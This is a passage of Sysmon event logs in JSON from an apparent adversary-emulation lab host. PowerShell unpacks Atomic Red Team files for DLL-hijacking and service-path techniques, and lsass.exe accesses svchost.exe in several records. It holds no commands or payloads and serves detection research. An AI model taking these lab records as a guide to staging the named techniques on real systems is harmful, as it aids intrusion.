3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.002\\bin\\libcurl.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.461","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.461","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.002\\bin\\libcurl.dll","CreationUtcTime":"2020-08-07 11:56:12.461","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:12.493\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.009\\bin\\WindowsServiceExample.exe\r\nCreationUtcTime: 2020-08-07 11:56:12.493","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:12.493","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.009\\bin\\WindowsServiceExample.exe","CreationUtcTime":"2020-08-07 11:56:12.493","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.539\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.539","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.539\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.539","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.539\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.539","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.555\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.555","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.555\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.555","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:13.555\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:13.555","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.102\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.102","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 